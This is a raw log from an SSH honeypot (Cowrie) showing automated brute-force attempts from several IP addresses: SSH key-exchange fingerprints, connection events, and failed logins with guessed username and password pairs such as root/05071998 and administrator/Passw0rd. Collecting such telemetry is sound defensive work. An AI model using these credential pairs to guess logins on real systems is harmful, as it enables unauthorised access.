{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:02.042963Z","src_ip":"91.92.40.171","session":"8d5e406f84b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46152,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec37239f131b","protocol":"ssh","message":"New connection: 91.92.42.133:46152 (159.203.135.109:22) [session: ec37239f131b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:04.753388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:05.003772Z","src_ip":"91.92.42.133","session":"ec37239f131b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:05.016835Z","src_ip":"91.92.42.133","session":"ec37239f131b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"rock","message":"login attempt [media/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:05.821438Z","src_ip":"91.92.40.171","session":"8d5e406f84b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34376,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0b530a2562e","protocol":"ssh","message":"New connection: 91.92.40.171:34376 (159.203.135.109:22) [session: e0b530a2562e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:06.388447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:06.392125Z","src_ip":"91.92.40.171","session":"e0b530a2562e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:06.976525Z","src_ip":"91.92.42.133","session":"ec37239f131b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:07.525129Z","src_ip":"91.92.40.171","session":"e0b530a2562e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:07.876899Z","src_ip":"91.92.40.171","session":"8d5e406f84b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:08.508987Z","src_ip":"91.92.42.133","session":"ec37239f131b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39136,"dst_ip":"159.203.135.109","dst_port":22,"session":"8921d9a1e77d","protocol":"ssh","message":"New connection: 91.92.40.171:39136 (159.203.135.109:22) [session: 8921d9a1e77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:09.823027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:09.953479Z","src_ip":"91.92.40.171","session":"8921d9a1e77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:09.956532Z","src_ip":"91.92.40.171","session":"8921d9a1e77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:10.267581Z","src_ip":"91.92.40.171","session":"e0b530a2562e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:10.570456Z","src_ip":"91.92.40.171","session":"8921d9a1e77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46232,"dst_ip":"159.203.135.109","dst_port":22,"session":"3624ddf6024b","protocol":"ssh","message":"New connection: 91.92.42.133:46232 (159.203.135.109:22) [session: 3624ddf6024b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:10.966856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:11.609787Z","src_ip":"91.92.42.133","session":"3624ddf6024b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:11.613719Z","src_ip":"91.92.42.133","session":"3624ddf6024b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:11.684888Z","src_ip":"91.92.40.171","session":"8921d9a1e77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:12.111220Z","src_ip":"91.92.40.171","session":"e0b530a2562e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56792,"dst_ip":"159.203.135.109","dst_port":22,"session":"a155b0e41d2c","protocol":"ssh","message":"New connection: 103.77.175.15:56792 (159.203.135.109:22) [session: a155b0e41d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:13.569177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:13.573147Z","src_ip":"103.77.175.15","session":"a155b0e41d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:13.831335Z","src_ip":"103.77.175.15","session":"a155b0e41d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05071998","message":"login attempt [root/05071998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:14.609036Z","src_ip":"103.77.175.15","session":"a155b0e41d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:14.930227Z","src_ip":"91.92.42.133","session":"3624ddf6024b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60798,"dst_ip":"159.203.135.109","dst_port":22,"session":"649616657dd8","protocol":"ssh","message":"New connection: 91.92.40.171:60798 (159.203.135.109:22) [session: 649616657dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:15.456943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:15.570827Z","src_ip":"91.92.40.171","session":"649616657dd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:15.575192Z","src_ip":"91.92.40.171","session":"649616657dd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:15.869815Z","src_ip":"103.77.175.15","session":"a155b0e41d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:16.269975Z","src_ip":"91.92.40.171","session":"649616657dd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:16.697235Z","src_ip":"91.92.42.133","session":"3624ddf6024b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:17.451647Z","src_ip":"91.92.40.171","session":"649616657dd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56344,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e29db475b8d","protocol":"ssh","message":"New connection: 91.92.42.133:56344 (159.203.135.109:22) [session: 7e29db475b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:17.513928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:18.307663Z","src_ip":"91.92.42.133","session":"7e29db475b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:18.312502Z","src_ip":"91.92.42.133","session":"7e29db475b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee3864926d3e","protocol":"ssh","message":"New connection: 91.92.40.171:60864 (159.203.135.109:22) [session: ee3864926d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:21.103842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:21.362926Z","src_ip":"91.92.40.171","session":"ee3864926d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:21.365661Z","src_ip":"91.92.40.171","session":"ee3864926d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:21.511496Z","src_ip":"91.92.42.133","session":"7e29db475b8d","protocol":"ssh"}
